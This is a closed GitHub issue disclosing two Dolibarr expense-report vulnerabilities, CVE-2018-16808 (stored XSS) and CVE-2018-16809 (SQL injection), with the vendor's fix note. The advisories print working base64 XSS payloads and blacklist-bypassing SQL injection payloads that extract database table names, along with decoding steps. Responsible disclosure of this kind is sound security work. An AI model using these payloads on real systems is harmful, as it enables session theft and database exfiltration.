Closed ACKNAK-Tools closed 5 years ago
With 7.0.1 and +, the field qty is now sanitized with $qty = GETPOST('qty','int'); So if qty is not numeric, value is completely refused.
For second point, Description/Comment is now escaped with dol_escape_htmltag so payload has now no negative effect.
Just a ticket issue that is already solved as we discussed by email earlier. Since the vulnerabilities are fixed so we are disclosing the advisory..
As a reminder here are our mail discussion:
""" Hello,
First, we apologize for the time we took to contact you back (https://www.dolibarr.fr/forum/12-howto--aide/61141-vulnerabilites-critiques-versions-3-8-x-7-x#94096).
We have found 2 criticals vulnerabilities (SQL Injection + XSS Stored) in the "expense reports" module of Dolibarr (from version 3.8.X to the last release 7.X).
These vulnerabilities are described in the two .txt disclosures files attached.
Please let us know if you have difficulties to reproduce the vulnerabilities (you should use Burp as a proxy to edit easily the POST requests). We can provide you screenshots so you'll be more aware of what is happening.
Also we'd like to be informed when you'll have implement a fix for these vulnerabilities (as the ones advised in the disclosures), so we can test if the vulnerabilities are patched.
Once a proper fix will be released, we'd like to request 2 CVEs (SQLi and XSS Stored) and we would appreciate if you can name us in two separates disclosures/patchs.
Best regards,
--
chqrly, Erwan, Romain
DIGITEMIS CYBERSECURITY & PRIVACY """
Here is the first advisory about 2 two differents XSS stored in expense reports (one in the description of a new expense, the other one in the private && public note related to:
[CVE-2018-16808]
ADVISORY INFORMATION
Product: Dolibarr Vendor URL: https://www.dolibarr.org Type: XSS Stored Date found: 2018-02-20
CREDITS
This vulnerability was discovered and researched by Romain Koszyk, Erwan Robin, chqrly from DIGITEMIS CYBERSECURITY & PRIVACY.
VERSIONS AFFECTED
Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.0.X)
INTRODUCTION
Dolibarr is an Open Source ERP & CRM for Business. The application manages sales, human resources, stocks, invoicing, billing, accounting, etc. The Open Source model gives them a lot of feedback which is a key factor to get a friendly user interface.
VULNERABILITY DETAILS
Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.0.X) offers the possibility to process billing if you decide to activate the module. The expense reports module is a critical module since it might be used by a lot. No modules are activated by default. When you are editing a billing at "/expensereport/card.php?id=$id_integer&action=editline&rowid=$rowid_integer", the POST parameters not sanitizing properly the parameters. In fact, the application is using a recursive call to an eregi() or a preg_match() regex to determine the legitimity of the query being processed. The strings parameters "comments" and the public & private note can be abused to store a XSS. A XSS can also be triggered in the integers parameters however that will fail due to the integers parsing, generating an error which leak technical details about the database. The leak is due to a default misconfiguration of the server gives us too the information details about the query failing, PHP's version, Dolibarr's version, Server, type of database, OS' version.
The impact of the XSS Stored is more critical since there are no protection of the users by default (cookies' attributes, CSRF token, etc.).
Two contexts where XSS were found, in the description billing line and in the private & public note (when you want to edit them while the payload is set):
PAYLOAD_DESCRIPTION= 2"><object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoJ1hTUycpPg==><td class="a
PAYLOAD_PRIVATE_AND_PUBLIC_NOTE= <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoJ1hTUycpPg==>
Payload explanation: We escape from the current td or textarea entity to inject an object entity. We also need to create another td or textarea element since there is a or to be associated with. The base64 "PHN2Zy9vbmxvYWQ9YWxlcnQoJ1hTUycpPg==" stands for <svg/onload=alert('XSS')> There are some filters used to block XSS like onload, onerror, etc. So using base64 still do the job, it is an example of many.
RISK
If exploited, that vulnerability can allow to steal an user session, even the super admin one is the super admin is designed as a validator of that billing. It can also used to make the users do unwilling actions on the application, exfiltrate private data to an unknown destination, etc.
SOLUTION
Sanitized properly the query before processing the request. Don't rely on blacklist to protect the application.
It is recommended to use htmlentities($parameter, ENT_QUOTE | ENT_HTML5, "UTF-8", true);
REPORT TIMELINE
2018-02-20: Discovery of the vulnerability 2018-02-20: Explanation of the vulnerability 2018-02-21: Determine all of the versions vulnerable to the exploit 2018-03-09: Send full vulnerability details to the Dolibarr's developers 2018-09-09: Disclosing the vulnerability on Github 2018-09-11: CVE-2018-16808 assigned
And the advisory of the SQL injection in expense report:
[CVE-2018-16809]
ADVISORY INFORMATION
Product: Dolibarr Vendor URL: https://www.dolibarr.org Type: UPDATE SQL Injection through Integer Date found: 2018-02-20
CREDITS
This vulnerability was discovered and researched by Romain Koszyk, Erwan Robin, chqrly from DIGITEMIS CYBERSECURITY & PRIVACY.
VERSIONS AFFECTED
Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.X)
INTRODUCTION
Dolibarr is an Open Source ERP & CRM for Business. The application manages sales, human resources, stocks, invoicing, billing, accounting, etc. The Open Source model gives them a lot of feedback which is a key factor to get a friendly user interface.
VULNERABILITY DETAILS
Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.X) offers the possibility to process billing if you decide to activate the module. The expense reports module is a critical module since it might be used by a lot. No modules are activated by default. When you are editing a billing at "/expensereport/card.php?id=$id_integer&action=editline&rowid=$rowid_integer", the POST parameters not sanitizing properly the parameters.In fact, the application is using a recursive call to preg_match regex to determine the legitimity of the query being processed. The integers parameters "qty", "value_unit" can be abused efficiently.
A default misconfiguration of the server (by default) gives us too the information details about the query failing, PHP's version, Dolibarr's version, Server, type of database, OS' version.
That way we can exploit the SQL injection easier.
To protect against SQL injections / XSS, Dolibarr uses these functions in /htdocs/main.inc.php :
=> function test_sql_and_script_inject($val, $type)
=> function analyseVarsForSqlAndScriptsInjection(&$var, $type)
Having these function in /htdocs/main.inc.php suggests that these are supposed to protect the whole application against SQLi/XSS. They are based on a blacklist (using preg_match) to detect a malicious code. So please have a real look at the fix you implement since this vulnerability is spreading probably accross many modules.
Context of the current query exploited:
We are in the modification of a billing.
The UPDATE query is constructed that way: UPDATE llx_expensereport_det SET comments=$comment,value_unit=$value_unit, qty=$quantity,date=$date,total_ht=$total_ht, total_ttc=$total_ttc,tva_tx=$tva_tx, fk_c_type_fees=$type_fees,fk_projet=$fk_projet WHERE rowid=$rowid;
Indications about the query:
Vulnerability was found abusing doubles parameters. There is a high possibility of injections in others types of parameters since using these functions to protect to protect the application is not enough.
Depending of the Dolibarr's version, we can either bypass the preg_match using an HTTP Parameters Fragmentation with at least 2 vulnerables parameters or with only one parameter by encoding some characters.
A working payload for an SQL Injection inside the modification of a billing line below version 7.X could be:
HTTP Parameters Fragmentation method with PAYLOAD_ONE and PAYLOAD_TWO #####################################################################
UPDATE llx_expensereport_det SET comments=$comment,value_unit=PAYLOAD_ONE,qty=PAYLOAD_TWO,date=$date,total_ht=$total_ht,total_ttc=$total_ttc,tva_tx=$tva_tx,fk_c_type_fees=$type_fees,fk_projet=$fk_projet WHERE rowid=$rowid;
PAYLOAD_ONE= (SEleCT(ascii(substring((Select(table_name)/*
PAYLOAD_TWO= /fRom(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT*/0,1),1,1)))),qty=666
Payload explanation: To avoid being caught by the insensitive case select.+from preg_match() regex, we split the payload into 2 parameters, those 2 parameters are doubles so spaces are removed from it. To keep having a working payload we have to abuse the use of (), /*/ and /!command*/.
Putting together the two payloads, we have a final UPDATE query like:
UPDATE llx_expensereport_det SET comments=$comment,value_unit=(SEleCT(ascii(substring((Select(table_name)/,qty=/fRom(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),1,1)))),qty=666,date=$date,total_ht=$total_ht,total_ttc=$total_ttc,tva_tx=$tva_tx,fk_c_type_fees=$type_fees,fk_projet=$fk_projet WHERE rowid=$rowid;
As you can see the commented out $qty parameter is added at the end of the payload to let the UPDATE query still looks legitimate. Basically what is doing the current payload is retrieving the 1st char of the 1st table_name in the database and getting the ascii value of it. We can iterate to grab the 2nd char, the next table, column and so on.
So if the 1st char of the 1st table is 'l' (like llx_something), we will see in the value_unit billing line the value 108 which is the ascii code of 'l'.
That kind of payload is also working in the last stable version 7.0. However we also noticed a more efficient method in the last one.
It is possible in version 7.0 we can bypass the preg_match filter by encoding some characters allowing us to only use one parameter.
Only one parameter method #########################
UPDATE llx_expensereport_det SET comments=$comment,value_unit=$value_unit,qty=PAYLOAD,date=$date,total_ht=$total_ht,total_ttc=$total_ttc,tva_tx=$tva_tx,fk_c_type_fees=$type_fees,fk_projet=$fk_projet WHERE rowid=$rowid;
We also optimized the characters search, with that payload we can retrieve 5 characters per request:
PAYLOAD= (SEleCT(ascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),1,1))%2aPOW(256,0)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),2,1))%2aPOW(256,1)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),3,1))%2aPOW(256,2)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),4,1))%2aPOW(256,3)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),5,1))%2aPOW(256,4)))
The bypass is made on fRom by encoding the 'o' as its hexadecimal equivalent '6f'.
The payload is injected in the $qty parameter, it will holds the value of the ascii(1st_char) 256^0 + ascii(2nd_char) 256^1 + ascii(3rd_char) 256^2 + ascii(4th_char) 256^3 + ascii(5th_char) * 256^4
So using this payload we see that we retrieved the value 418213555308 in quantity.
To get the chars of it, we just use a binary mask: (418213555308 >> 0) & 0b11111111 => 108 ('l') (418213555308 >> 8) & 0b11111111 => 108 ('l') (418213555308 >> 16) & 0b11111111 => 120 ('x') (418213555308 >> 24) & 0b11111111 => 95 ('_') (418213555308 >> 32) & 0b11111111 => 108 ('a')
So the first table_name has a name starting with 'llx_a'.
RISK
If exploited, that vulnerability can allow to retrieve hash password, update billing that have already been accepted, retrieve files contents, retrieve the content of the whole database (tables, columns).
SOLUTION
Sanitized properly the query before processing the request, don't rely on preg_match protection, use prepared statements in the best of case or use this implementation:
$db_link = mysqli_connect("localhost", "user", "password", "db");
if (!$db_link) { printf("Connection to the database failed: %s\n", mysqli_connect_error()); exit(); }
$sanitized_parameter = mysqli_real_escape($db_link, $string_to_escape);
// That way we don't need to rely on blacklist preg_match
mysqli_query($db_link, "UPDATE .......... qty='$sanitized_parameter'...");
REPORT TIMELINE
2018-02-20: Discovery of the vulnerability 2018-02-20: Explanation of the vulnerability 2018-02-21: Development of the exploit code 2018-02-21: Determine all of the versions vulnerable to the exploit code 2018-03-09: Send full vulnerability details to the Dolibarr's developers 2018-09-09: Disclosing the vulnerability on Github 2018-09-11: CVE-2018-16809 assigned
DIGITEMIS CYBERSECURITY & PRIVACY https://www.digitemis.com
This ticket will be updated once the CVE will be asigned, thanks and keep up the good work !